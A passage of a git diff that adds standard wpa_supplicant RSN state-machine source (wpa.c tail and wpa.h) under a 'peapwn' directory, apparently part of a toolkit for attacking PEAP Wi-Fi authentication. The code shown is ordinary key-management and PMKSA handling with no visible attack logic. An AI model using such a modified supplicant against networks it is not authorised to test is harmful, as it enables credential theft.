WPA_KEY_MGMT_WPA_NONE: + return WPA_AUTH_KEY_MGMT_NONE; + default: + return 0; + } +} + + +#define RSN_SUITE "%02x-%02x-%02x-%d" +#define RSN_SUITE_ARG(s) \ +((s) >> 24) & 0xff, ((s) >> 16) & 0xff, ((s) >> 8) & 0xff, (s) & 0xff + +/** + * wpa_sm_get_mib - Dump text list of MIB entries + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @buf: Buffer for the list + * @buflen: Length of the buffer + * Returns: Number of bytes written to buffer + * + * This function is used fetch dot11 MIB variables. + */ +int wpa_sm_get_mib(struct wpa_sm *sm, char *buf, size_t buflen) +{ + char pmkid_txt[PMKID_LEN * 2 + 1]; + int rsna, ret; + size_t len; + + if (sm->cur_pmksa) { + wpa_snprintf_hex(pmkid_txt, sizeof(pmkid_txt), + sm->cur_pmksa->pmkid, PMKID_LEN); + } else + pmkid_txt[0] = '\0'; + + if ((wpa_key_mgmt_wpa_psk(sm->key_mgmt) || + wpa_key_mgmt_wpa_ieee8021x(sm->key_mgmt)) && + sm->proto == WPA_PROTO_RSN) + rsna = 1; + else + rsna = 0; + + ret = os_snprintf(buf, buflen, + "dot11RSNAOptionImplemented=TRUE\n" + "dot11RSNAPreauthenticationImplemented=TRUE\n" + "dot11RSNAEnabled=%s\n" + "dot11RSNAPreauthenticationEnabled=%s\n" + "dot11RSNAConfigVersion=%d\n" + "dot11RSNAConfigPairwiseKeysSupported=5\n" + "dot11RSNAConfigGroupCipherSize=%d\n" + "dot11RSNAConfigPMKLifetime=%d\n" + "dot11RSNAConfigPMKReauthThreshold=%d\n" + "dot11RSNAConfigNumberOfPTKSAReplayCounters=1\n" + "dot11RSNAConfigSATimeout=%d\n", + rsna ? "TRUE" : "FALSE", + rsna ? "TRUE" : "FALSE", + RSN_VERSION, + wpa_cipher_key_len(sm->group_cipher) * 8, + sm->dot11RSNAConfigPMKLifetime, + sm->dot11RSNAConfigPMKReauthThreshold, + sm->dot11RSNAConfigSATimeout); + if (ret < 0 || (size_t) ret >= buflen) + return 0; + len = ret; + + ret = os_snprintf( + buf + len, buflen - len, + "dot11RSNAAuthenticationSuiteSelected=" RSN_SUITE "\n" + "dot11RSNAPairwiseCipherSelected=" RSN_SUITE "\n" + "dot11RSNAGroupCipherSelected=" RSN_SUITE "\n" + "dot11RSNAPMKIDUsed=%s\n" + "dot11RSNAAuthenticationSuiteRequested=" RSN_SUITE "\n" + "dot11RSNAPairwiseCipherRequested=" RSN_SUITE "\n" + "dot11RSNAGroupCipherRequested=" RSN_SUITE "\n" + "dot11RSNAConfigNumberOfGTKSAReplayCounters=0\n" + "dot11RSNA4WayHandshakeFailures=%u\n", + RSN_SUITE_ARG(wpa_key_mgmt_suite(sm)), + RSN_SUITE_ARG(wpa_cipher_to_suite(sm->proto, + sm->pairwise_cipher)), + RSN_SUITE_ARG(wpa_cipher_to_suite(sm->proto, + sm->group_cipher)), + pmkid_txt, + RSN_SUITE_ARG(wpa_key_mgmt_suite(sm)), + RSN_SUITE_ARG(wpa_cipher_to_suite(sm->proto, + sm->pairwise_cipher)), + RSN_SUITE_ARG(wpa_cipher_to_suite(sm->proto, + sm->group_cipher)), + sm->dot11RSNA4WayHandshakeFailures); + if (ret >= 0 && (size_t) ret < buflen) + len += ret; + + return (int) len; +} +#endif /* CONFIG_CTRL_IFACE */ + + +static void wpa_sm_pmksa_free_cb(struct rsn_pmksa_cache_entry *entry, + void *ctx, enum pmksa_free_reason reason) +{ + struct wpa_sm *sm = ctx; + int deauth = 0; + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: PMKSA cache entry free_cb: " + MACSTR " reason=%d", MAC2STR(entry->aa), reason); + + if (sm->cur_pmksa == entry) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: %s current PMKSA entry", + reason == PMKSA_REPLACE ? "replaced" : "removed"); + pmksa_cache_clear_current(sm); + + /* + * If an entry is simply being replaced, there's no need to + * deauthenticate because it will be immediately re-added. + * This happens when EAP authentication is completed again + * (reauth or failed PMKSA caching attempt). + */ + if (reason != PMKSA_REPLACE) + deauth = 1; + } + + if (reason == PMKSA_EXPIRE && + (sm->pmk_len == entry->pmk_len && + os_memcmp(sm->pmk, entry->pmk, sm->pmk_len) == 0)) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: deauthenticating due to expired PMK"); + pmksa_cache_clear_current(sm); + deauth = 1; + } + + if (deauth) { + os_memset(sm->pmk, 0, sizeof(sm->pmk)); + wpa_sm_deauthenticate(sm, WLAN_REASON_UNSPECIFIED); + } +} + + +/** + * wpa_sm_init - Initialize WPA state machine + * @ctx: Context pointer for callbacks; this needs to be an allocated buffer + * Returns: Pointer to the allocated WPA state machine data + * + * This function is used to allocate a new WPA state machine and the returned + * value is passed to all WPA state machine calls. + */ +struct wpa_sm * wpa_sm_init(struct wpa_sm_ctx *ctx) +{ + struct wpa_sm *sm; + + sm = os_zalloc(sizeof(*sm)); + if (sm == NULL) + return NULL; + dl_list_init(&sm->pmksa_candidates); + sm->renew_snonce = 1; + sm->ctx = ctx; + + sm->dot11RSNAConfigPMKLifetime = 43200; + sm->dot11RSNAConfigPMKReauthThreshold = 70; + sm->dot11RSNAConfigSATimeout = 60; + + sm->pmksa = pmksa_cache_init(wpa_sm_pmksa_free_cb, sm, sm); + if (sm->pmksa == NULL) { + wpa_msg(sm->ctx->msg_ctx, MSG_ERROR, + "RSN: PMKSA cache initialization failed"); + os_free(sm); + return NULL; + } + + return sm; +} + + +/** + * wpa_sm_deinit - Deinitialize WPA state machine + * @sm: Pointer to WPA state machine data from wpa_sm_init() + */ +void wpa_sm_deinit(struct wpa_sm *sm) +{ + if (sm == NULL) + return; + pmksa_cache_deinit(sm->pmksa); + eloop_cancel_timeout(wpa_sm_start_preauth, sm, NULL); + eloop_cancel_timeout(wpa_sm_rekey_ptk, sm, NULL); + os_free(sm->assoc_wpa_ie); + os_free(sm->ap_wpa_ie); + os_free(sm->ap_rsn_ie); + os_free(sm->ctx); + peerkey_deinit(sm); +#ifdef CONFIG_IEEE80211R + os_free(sm->assoc_resp_ies); +#endif /* CONFIG_IEEE80211R */ + os_free(sm); +} + + +/** + * wpa_sm_notify_assoc - Notify WPA state machine about association + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @bssid: The BSSID of the new association + * + * This function is called to let WPA state machine know that the connection + * was established. + */ +void wpa_sm_notify_assoc(struct wpa_sm *sm, const u8 *bssid) +{ + int clear_ptk = 1; + + if (sm == NULL) + return; + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: Association event - clear replay counter"); + os_memcpy(sm->bssid, bssid, ETH_ALEN); + os_memset(sm->rx_replay_counter, 0, WPA_REPLAY_COUNTER_LEN); + sm->rx_replay_counter_set = 0; + sm->renew_snonce = 1; + if (os_memcmp(sm->preauth_bssid, bssid, ETH_ALEN) == 0) + rsn_preauth_deinit(sm); + +#ifdef CONFIG_IEEE80211R + if (wpa_ft_is_completed(sm)) { + /* + * Clear portValid to kick EAPOL state machine to re-enter + * AUTHENTICATED state to get the EAPOL port Authorized. + */ + eapol_sm_notify_portValid(sm->eapol, FALSE); + wpa_supplicant_key_neg_complete(sm, sm->bssid, 1); + + /* Prepare for the next transition */ + wpa_ft_prepare_auth_request(sm, NULL); + + clear_ptk = 0; + } +#endif /* CONFIG_IEEE80211R */ + + if (clear_ptk) { + /* + * IEEE 802.11, 8.4.10: Delete PTK SA on (re)association if + * this is not part of a Fast BSS Transition. + */ + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Clear old PTK"); + sm->ptk_set = 0; + sm->tptk_set = 0; + } + +#ifdef CONFIG_TDLS + wpa_tdls_assoc(sm); +#endif /* CONFIG_TDLS */ +} + + +/** + * wpa_sm_notify_disassoc - Notify WPA state machine about disassociation + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * + * This function is called to let WPA state machine know that the connection + * was lost. This will abort any existing pre-authentication session. + */ +void wpa_sm_notify_disassoc(struct wpa_sm *sm) +{ + rsn_preauth_deinit(sm); + pmksa_cache_clear_current(sm); + if (wpa_sm_get_state(sm) == WPA_4WAY_HANDSHAKE) + sm->dot11RSNA4WayHandshakeFailures++; +#ifdef CONFIG_TDLS + wpa_tdls_disassoc(sm); +#endif /* CONFIG_TDLS */ +} + + +/** + * wpa_sm_set_pmk - Set PMK + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @pmk: The new PMK + * @pmk_len: The length of the new PMK in bytes + * + * Configure the PMK for WPA state machine. + */ +void wpa_sm_set_pmk(struct wpa_sm *sm, const u8 *pmk, size_t pmk_len) +{ + if (sm == NULL) + return; + + sm->pmk_len = pmk_len; + os_memcpy(sm->pmk, pmk, pmk_len); + +#ifdef CONFIG_IEEE80211R + /* Set XXKey to be PSK for FT key derivation */ + sm->xxkey_len = pmk_len; + os_memcpy(sm->xxkey, pmk, pmk_len); +#endif /* CONFIG_IEEE80211R */ +} + + +/** + * wpa_sm_set_pmk_from_pmksa - Set PMK based on the current PMKSA + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * + * Take the PMK from the current PMKSA into use. If no PMKSA is active, the PMK + * will be cleared. + */ +void wpa_sm_set_pmk_from_pmksa(struct wpa_sm *sm) +{ + if (sm == NULL) + return; + + if (sm->cur_pmksa) { + sm->pmk_len = sm->cur_pmksa->pmk_len; + os_memcpy(sm->pmk, sm->cur_pmksa->pmk, sm->pmk_len); + } else { + sm->pmk_len = PMK_LEN; + os_memset(sm->pmk, 0, PMK_LEN); + } +} + + +/** + * wpa_sm_set_fast_reauth - Set fast reauthentication (EAP) enabled/disabled + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @fast_reauth: Whether fast reauthentication (EAP) is allowed + */ +void wpa_sm_set_fast_reauth(struct wpa_sm *sm, int fast_reauth) +{ + if (sm) + sm->fast_reauth = fast_reauth; +} + + +/** + * wpa_sm_set_scard_ctx - Set context pointer for smartcard callbacks + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @scard_ctx: Context pointer for smartcard related callback functions + */ +void wpa_sm_set_scard_ctx(struct wpa_sm *sm, void *scard_ctx) +{ + if (sm == NULL) + return; + sm->scard_ctx = scard_ctx; + if (sm->preauth_eapol) + eapol_sm_register_scard_ctx(sm->preauth_eapol, scard_ctx); +} + + +/** + * wpa_sm_set_config - Notification of current configration change + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @config: Pointer to current network configuration + * + * Notify WPA state machine that configuration has changed. config will be + * stored as a backpointer to network configuration. This can be %NULL to clear + * the stored pointed. + */ +void wpa_sm_set_config(struct wpa_sm *sm, struct rsn_supp_config *config) +{ + if (!sm) + return; + + if (config) { + sm->network_ctx = config->network_ctx; + sm->peerkey_enabled = config->peerkey_enabled; + sm->allowed_pairwise_cipher = config->allowed_pairwise_cipher; + sm->proactive_key_caching = config->proactive_key_caching; + sm->eap_workaround = config->eap_workaround; + sm->eap_conf_ctx = config->eap_conf_ctx; + if (config->ssid) { + os_memcpy(sm->ssid, config->ssid, config->ssid_len); + sm->ssid_len = config->ssid_len; + } else + sm->ssid_len = 0; + sm->wpa_ptk_rekey = config->wpa_ptk_rekey; + } else { + sm->network_ctx = NULL; + sm->peerkey_enabled = 0; + sm->allowed_pairwise_cipher = 0; + sm->proactive_key_caching = 0; + sm->eap_workaround = 0; + sm->eap_conf_ctx = NULL; + sm->ssid_len = 0; + sm->wpa_ptk_rekey = 0; + } +} + + +/** + * wpa_sm_set_own_addr - Set own MAC address + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @addr: Own MAC address + */ +void wpa_sm_set_own_addr(struct wpa_sm *sm, const u8 *addr) +{ + if (sm) + os_memcpy(sm->own_addr, addr, ETH_ALEN); +} + + +/** + * wpa_sm_set_ifname - Set network interface name + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @ifname: Interface name + * @bridge_ifname: Optional bridge interface name (for pre-auth) + */ +void wpa_sm_set_ifname(struct wpa_sm *sm, const char *ifname, + const char *bridge_ifname) +{ + if (sm) { + sm->ifname = ifname; + sm->bridge_ifname = bridge_ifname; + } +} + + +/** + * wpa_sm_set_eapol - Set EAPOL state machine pointer + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @eapol: Pointer to EAPOL state machine allocated with eapol_sm_init() + */ +void wpa_sm_set_eapol(struct wpa_sm *sm, struct eapol_sm *eapol) +{ + if (sm) + sm->eapol = eapol; +} + + +/** + * wpa_sm_set_param - Set WPA state machine parameters + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @param: Parameter field + * @value: Parameter value + * Returns: 0 on success, -1 on failure + */ +int wpa_sm_set_param(struct wpa_sm *sm, enum wpa_sm_conf_params param, + unsigned int value) +{ + int ret = 0; + + if (sm == NULL) + return -1; + + switch (param) { + case RSNA_PMK_LIFETIME: + if (value > 0) + sm->dot11RSNAConfigPMKLifetime = value; + else + ret = -1; + break; + case RSNA_PMK_REAUTH_THRESHOLD: + if (value > 0 && value <= 100) + sm->dot11RSNAConfigPMKReauthThreshold = value; + else + ret = -1; + break; + case RSNA_SA_TIMEOUT: + if (value > 0) + sm->dot11RSNAConfigSATimeout = value; + else + ret = -1; + break; + case WPA_PARAM_PROTO: + sm->proto = value; + break; + case WPA_PARAM_PAIRWISE: + sm->pairwise_cipher = value; + break; + case WPA_PARAM_GROUP: + sm->group_cipher = value; + break; + case WPA_PARAM_KEY_MGMT: + sm->key_mgmt = value; + break; +#ifdef CONFIG_IEEE80211W + case WPA_PARAM_MGMT_GROUP: + sm->mgmt_group_cipher = value; + break; +#endif /* CONFIG_IEEE80211W */ + case WPA_PARAM_RSN_ENABLED: + sm->rsn_enabled = value; + break; + case WPA_PARAM_MFP: + sm->mfp = value; + break; + default: + break; + } + + return ret; +} + + +/** + * wpa_sm_get_param - Get WPA state machine parameters + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @param: Parameter field + * Returns: Parameter value + */ +unsigned int wpa_sm_get_param(struct wpa_sm *sm, enum wpa_sm_conf_params param) +{ + if (sm == NULL) + return 0; + + switch (param) { + case RSNA_PMK_LIFETIME: + return sm->dot11RSNAConfigPMKLifetime; + case RSNA_PMK_REAUTH_THRESHOLD: + return sm->dot11RSNAConfigPMKReauthThreshold; + case RSNA_SA_TIMEOUT: + return sm->dot11RSNAConfigSATimeout; + case WPA_PARAM_PROTO: + return sm->proto; + case WPA_PARAM_PAIRWISE: + return sm->pairwise_cipher; + case WPA_PARAM_GROUP: + return sm->group_cipher; + case WPA_PARAM_KEY_MGMT: + return sm->key_mgmt; +#ifdef CONFIG_IEEE80211W + case WPA_PARAM_MGMT_GROUP: + return sm->mgmt_group_cipher; +#endif /* CONFIG_IEEE80211W */ + case WPA_PARAM_RSN_ENABLED: + return sm->rsn_enabled; + default: + return 0; + } +} + + +/** + * wpa_sm_get_status - Get WPA state machine + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @buf: Buffer for status information + * @buflen: Maximum buffer length + * @verbose: Whether to include verbose status information + * Returns: Number of bytes written to buf. + * + * Query WPA state machine for status information. This function fills in + * a text area with current status information. If the buffer (buf) is not + * large enough, status information will be truncated to fit the buffer. + */ +int wpa_sm_get_status(struct wpa_sm *sm, char *buf, size_t buflen, + int verbose) +{ + char *pos = buf, *end = buf + buflen; + int ret; + + ret = os_snprintf(pos, end - pos, + "pairwise_cipher=%s\n" + "group_cipher=%s\n" + "key_mgmt=%s\n", + wpa_cipher_txt(sm->pairwise_cipher), + wpa_cipher_txt(sm->group_cipher), + wpa_key_mgmt_txt(sm->key_mgmt, sm->proto)); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + + if (sm->mfp != NO_MGMT_FRAME_PROTECTION && sm->ap_rsn_ie) { + struct wpa_ie_data rsn; + if (wpa_parse_wpa_ie_rsn(sm->ap_rsn_ie, sm->ap_rsn_ie_len, &rsn) + >= 0 && + rsn.capabilities & (WPA_CAPABILITY_MFPR | + WPA_CAPABILITY_MFPC)) { + ret = os_snprintf(pos, end - pos, "pmf=%d\n", + (rsn.capabilities & + WPA_CAPABILITY_MFPR) ? 2 : 1); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + } + } + + return pos - buf; +} + + +int wpa_sm_pmf_enabled(struct wpa_sm *sm) +{ + struct wpa_ie_data rsn; + + if (sm->mfp == NO_MGMT_FRAME_PROTECTION || !sm->ap_rsn_ie) + return 0; + + if (wpa_parse_wpa_ie_rsn(sm->ap_rsn_ie, sm->ap_rsn_ie_len, &rsn) >= 0 && + rsn.capabilities & (WPA_CAPABILITY_MFPR | WPA_CAPABILITY_MFPC)) + return 1; + + return 0; +} + + +/** + * wpa_sm_set_assoc_wpa_ie_default - Generate own WPA/RSN IE from configuration + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @wpa_ie: Pointer to buffer for WPA/RSN IE + * @wpa_ie_len: Pointer to the length of the wpa_ie buffer + * Returns: 0 on success, -1 on failure + */ +int wpa_sm_set_assoc_wpa_ie_default(struct wpa_sm *sm, u8 *wpa_ie, + size_t *wpa_ie_len) +{ + int res; + + if (sm == NULL) + return -1; + + res = wpa_gen_wpa_ie(sm, wpa_ie, *wpa_ie_len); + if (res < 0) + return -1; + *wpa_ie_len = res; + + wpa_hexdump(MSG_DEBUG, "WPA: Set own WPA IE default", + wpa_ie, *wpa_ie_len); + + if (sm->assoc_wpa_ie == NULL) { + /* + * Make a copy of the WPA/RSN IE so that 4-Way Handshake gets + * the correct version of the IE even if PMKSA caching is + * aborted (which would remove PMKID from IE generation). + */ + sm->assoc_wpa_ie = os_malloc(*wpa_ie_len); + if (sm->assoc_wpa_ie == NULL) + return -1; + + os_memcpy(sm->assoc_wpa_ie, wpa_ie, *wpa_ie_len); + sm->assoc_wpa_ie_len = *wpa_ie_len; + } + + return 0; +} + + +/** + * wpa_sm_set_assoc_wpa_ie - Set own WPA/RSN IE from (Re)AssocReq + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @ie: Pointer to IE data (starting from id) + * @len: IE length + * Returns: 0 on success, -1 on failure + * + * Inform WPA state machine about the WPA/RSN IE used in (Re)Association + * Request frame. The IE will be used to override the default value generated + * with wpa_sm_set_assoc_wpa_ie_default(). + */ +int wpa_sm_set_assoc_wpa_ie(struct wpa_sm *sm, const u8 *ie, size_t len) +{ + if (sm == NULL) + return -1; + + os_free(sm->assoc_wpa_ie); + if (ie == NULL || len == 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: clearing own WPA/RSN IE"); + sm->assoc_wpa_ie = NULL; + sm->assoc_wpa_ie_len = 0; + } else { + wpa_hexdump(MSG_DEBUG, "WPA: set own WPA/RSN IE", ie, len); + sm->assoc_wpa_ie = os_malloc(len); + if (sm->assoc_wpa_ie == NULL) + return -1; + + os_memcpy(sm->assoc_wpa_ie, ie, len); + sm->assoc_wpa_ie_len = len; + } + + return 0; +} + + +/** + * wpa_sm_set_ap_wpa_ie - Set AP WPA IE from Beacon/ProbeResp + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @ie: Pointer to IE data (starting from id) + * @len: IE length + * Returns: 0 on success, -1 on failure + * + * Inform WPA state machine about the WPA IE used in Beacon / Probe Response + * frame. + */ +int wpa_sm_set_ap_wpa_ie(struct wpa_sm *sm, const u8 *ie, size_t len) +{ + if (sm == NULL) + return -1; + + os_free(sm->ap_wpa_ie); + if (ie == NULL || len == 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: clearing AP WPA IE"); + sm->ap_wpa_ie = NULL; + sm->ap_wpa_ie_len = 0; + } else { + wpa_hexdump(MSG_DEBUG, "WPA: set AP WPA IE", ie, len); + sm->ap_wpa_ie = os_malloc(len); + if (sm->ap_wpa_ie == NULL) + return -1; + + os_memcpy(sm->ap_wpa_ie, ie, len); + sm->ap_wpa_ie_len = len; + } + + return 0; +} + + +/** + * wpa_sm_set_ap_rsn_ie - Set AP RSN IE from Beacon/ProbeResp + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @ie: Pointer to IE data (starting from id) + * @len: IE length + * Returns: 0 on success, -1 on failure + * + * Inform WPA state machine about the RSN IE used in Beacon / Probe Response + * frame. + */ +int wpa_sm_set_ap_rsn_ie(struct wpa_sm *sm, const u8 *ie, size_t len) +{ + if (sm == NULL) + return -1; + + os_free(sm->ap_rsn_ie); + if (ie == NULL || len == 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: clearing AP RSN IE"); + sm->ap_rsn_ie = NULL; + sm->ap_rsn_ie_len = 0; + } else { + wpa_hexdump(MSG_DEBUG, "WPA: set AP RSN IE", ie, len); + sm->ap_rsn_ie = os_malloc(len); + if (sm->ap_rsn_ie == NULL) + return -1; + + os_memcpy(sm->ap_rsn_ie, ie, len); + sm->ap_rsn_ie_len = len; + } + + return 0; +} + + +/** + * wpa_sm_parse_own_wpa_ie - Parse own WPA/RSN IE + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @data: Pointer to data area for parsing results + * Returns: 0 on success, -1 if IE is not known, or -2 on parsing failure + * + * Parse the contents of the own WPA or RSN IE from (Re)AssocReq and write the + * parsed data into data. + */ +int wpa_sm_parse_own_wpa_ie(struct wpa_sm *sm, struct wpa_ie_data *data) +{ + if (sm == NULL) + return -1; + + if (sm->assoc_wpa_ie == NULL) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: No WPA/RSN IE available from association info"); + return -1; + } + if (wpa_parse_wpa_ie(sm->assoc_wpa_ie, sm->assoc_wpa_ie_len, data)) + return -2; + return 0; +} + + +int wpa_sm_pmksa_cache_list(struct wpa_sm *sm, char *buf, size_t len) +{ + return pmksa_cache_list(sm->pmksa, buf, len); +} + + +void wpa_sm_drop_sa(struct wpa_sm *sm) +{ + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Clear old PMK and PTK"); + sm->ptk_set = 0; + sm->tptk_set = 0; + os_memset(sm->pmk, 0, sizeof(sm->pmk)); + os_memset(&sm->ptk, 0, sizeof(sm->ptk)); + os_memset(&sm->tptk, 0, sizeof(sm->tptk)); +} + + +int wpa_sm_has_ptk(struct wpa_sm *sm) +{ + if (sm == NULL) + return 0; + return sm->ptk_set; +} + + +void wpa_sm_update_replay_ctr(struct wpa_sm *sm, const u8 *replay_ctr) +{ + os_memcpy(sm->rx_replay_counter, replay_ctr, WPA_REPLAY_COUNTER_LEN); +} + + +void wpa_sm_pmksa_cache_flush(struct wpa_sm *sm, void *network_ctx) +{ + pmksa_cache_flush(sm->pmksa, network_ctx, NULL, 0); +} + + +#ifdef CONFIG_WNM +int wpa_wnmsleep_install_key(struct wpa_sm *sm, u8 subelem_id, u8 *buf) +{ + struct wpa_gtk_data gd; +#ifdef CONFIG_IEEE80211W + struct wpa_igtk_kde igd; + u16 keyidx; +#endif /* CONFIG_IEEE80211W */ + u16 keyinfo; + u8 keylen; /* plaintext key len */ + u8 *key_rsc; + + os_memset(&gd, 0, sizeof(gd)); +#ifdef CONFIG_IEEE80211W + os_memset(&igd, 0, sizeof(igd)); +#endif /* CONFIG_IEEE80211W */ + + keylen = wpa_cipher_key_len(sm->group_cipher); + gd.key_rsc_len = wpa_cipher_rsc_len(sm->group_cipher); + gd.alg = wpa_cipher_to_alg(sm->group_cipher); + if (gd.alg == WPA_ALG_NONE) { + wpa_printf(MSG_DEBUG, "Unsupported group cipher suite"); + return -1; + } + + if (subelem_id == WNM_SLEEP_SUBELEM_GTK) { + key_rsc = buf + 5; + keyinfo = WPA_GET_LE16(buf + 2); + gd.gtk_len = keylen; + if (gd.gtk_len != buf[4]) { + wpa_printf(MSG_DEBUG, "GTK len mismatch len %d vs %d", + gd.gtk_len, buf[4]); + return -1; + } + gd.keyidx = keyinfo & 0x03; /* B0 - B1 */ + gd.tx = wpa_supplicant_gtk_tx_bit_workaround( + sm, !!(keyinfo & WPA_KEY_INFO_TXRX)); + + os_memcpy(gd.gtk, buf + 13, gd.gtk_len); + + wpa_hexdump_key(MSG_DEBUG, "Install GTK (WNM SLEEP)", + gd.gtk, gd.gtk_len); + if (wpa_supplicant_install_gtk(sm, &gd, key_rsc)) { + wpa_printf(MSG_DEBUG, "Failed to install the GTK in " + "WNM mode"); + return -1; + } +#ifdef CONFIG_IEEE80211W + } else if (subelem_id == WNM_SLEEP_SUBELEM_IGTK) { + os_memcpy(igd.keyid, buf + 2, 2); + os_memcpy(igd.pn, buf + 4, 6); + + keyidx = WPA_GET_LE16(igd.keyid); + os_memcpy(igd.igtk, buf + 10, WPA_IGTK_LEN); + + wpa_hexdump_key(MSG_DEBUG, "Install IGTK (WNM SLEEP)", + igd.igtk, WPA_IGTK_LEN); + if (wpa_sm_set_key(sm, WPA_ALG_IGTK, broadcast_ether_addr, + keyidx, 0, igd.pn, sizeof(igd.pn), + igd.igtk, WPA_IGTK_LEN) < 0) { + wpa_printf(MSG_DEBUG, "Failed to install the IGTK in " + "WNM mode"); + return -1; + } +#endif /* CONFIG_IEEE80211W */ + } else { + wpa_printf(MSG_DEBUG, "Unknown element id"); + return -1; + } + + return 0; +} +#endif /* CONFIG_WNM */ diff --git a/peapwn/mods/hostap/src/rsn_supp/wpa.h b/peapwn/mods/hostap/src/rsn_supp/wpa.h new file mode 100644 index 000000000..db7f0db8c --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/wpa.h @@ -0,0 +1,388 @@ +/* + * wpa_supplicant - WPA definitions + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_H +#define WPA_H + +#include "common/defs.h" +#include "common/eapol_common.h" +#include "common/wpa_common.h" +#include "common/ieee802_11_defs.h" + +struct wpa_sm; +struct eapol_sm; +struct wpa_config_blob; + +struct wpa_sm_ctx { + void *ctx; /* pointer to arbitrary upper level context */ + void *msg_ctx; /* upper level context for wpa_msg() calls */ + + void (*set_state)(void *ctx, enum wpa_states state); + enum wpa_states (*get_state)(void *ctx); + void (*deauthenticate)(void * ctx, int reason_code); + int (*set_key)(void *ctx, enum wpa_alg alg, + const u8 *addr, int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len); + void * (*get_network_ctx)(void *ctx); + int (*get_bssid)(void *ctx, u8 *bssid); + int (*ether_send)(void *ctx, const u8 *dest, u16 proto, const u8 *buf, + size_t len); + int (*get_beacon_ie)(void *ctx); + void (*cancel_auth_timeout)(void *ctx); + u8 * (*alloc_eapol)(void *ctx, u8 type, const void *data, u16 data_len, + size_t *msg_len, void **data_pos); + int (*add_pmkid)(void *ctx, const u8 *bssid, const u8 *pmkid); + int (*remove_pmkid)(void *ctx, const u8 *bssid, const u8 *pmkid); + void (*set_config_blob)(void *ctx, struct wpa_config_blob *blob); + const struct wpa_config_blob * (*get_config_blob)(void *ctx, + const char *name); + int (*mlme_setprotection)(void *ctx, const u8 *addr, + int protection_type, int key_type); + int (*update_ft_ies)(void *ctx, const u8 *md, const u8 *ies, + size_t ies_len); + int (*send_ft_action)(void *ctx, u8 action, const u8 *target_ap, + const u8 *ies, size_t ies_len); + int (*mark_authenticated)(void *ctx, const u8 *target_ap); +#ifdef CONFIG_TDLS + int (*tdls_get_capa)(void *ctx, int *tdls_supported, + int *tdls_ext_setup); + int (*send_tdls_mgmt)(void *ctx, const u8 *dst, + u8 action_code, u8 dialog_token, + u16 status_code, const u8 *buf, size_t len); + int (*tdls_oper)(void *ctx, int oper, const u8 *peer); + int (*tdls_peer_addset)(void *ctx, const u8 *addr, int add, u16 aid, + u16 capability, const u8 *supp_rates, + size_t supp_rates_len, + const struct ieee80211_ht_capabilities *ht_capab, + const struct ieee80211_vht_capabilities *vht_capab, + u8 qosinfo, const u8 *ext_capab, + size_t ext_capab_len); +#endif /* CONFIG_TDLS */ + void (*set_rekey_offload)(void *ctx, const u8 *kek, const u8 *kck, + const u8 *replay_ctr); +}; + + +enum wpa_sm_conf_params { + RSNA_PMK_LIFETIME /* dot11RSNAConfigPMKLifetime */, + RSNA_PMK_REAUTH_THRESHOLD /* dot11RSNAConfigPMKReauthThreshold */, + RSNA_SA_TIMEOUT /* dot11RSNAConfigSATimeout */, + WPA_PARAM_PROTO, + WPA_PARAM_PAIRWISE, + WPA_PARAM_GROUP, + WPA_PARAM_KEY_MGMT, + WPA_PARAM_MGMT_GROUP, + WPA_PARAM_RSN_ENABLED, + WPA_PARAM_MFP +}; + +struct rsn_supp_config { + void *network_ctx; + int peerkey_enabled; + int allowed_pairwise_cipher; /* bitfield of WPA_CIPHER_* */ + int proactive_key_caching; + int eap_workaround; + void *eap_conf_ctx; + const u8 *ssid; + size_t ssid_len; + int wpa_ptk_rekey; +}; + +#ifndef CONFIG_NO_WPA + +struct wpa_sm * wpa_sm_init(struct wpa_sm_ctx *ctx); +void wpa_sm_deinit(struct wpa_sm *sm); +void wpa_sm_notify_assoc(struct wpa_sm *sm, const u8 *bssid); +void wpa_sm_notify_disassoc(struct wpa_sm *sm); +void wpa_sm_set_pmk(struct wpa_sm *sm, const u8 *pmk, size_t pmk_len); +void wpa_sm_set_pmk_from_pmksa(struct wpa_sm *sm); +void wpa_sm_set_fast_reauth(struct wpa_sm *sm, int fast_reauth); +void wpa_sm_set_scard_ctx(struct wpa_sm *sm, void *scard_ctx); +void wpa_sm_set_config(struct wpa_sm *sm, struct rsn_supp_config *config); +void wpa_sm_set_own_addr(struct wpa_sm *sm, const u8 *addr); +void wpa_sm_set_ifname(struct wpa_sm *sm, const char *ifname, + const char *bridge_ifname); +void wpa_sm_set_eapol(struct wpa_sm *sm, struct eapol_sm *eapol); +int 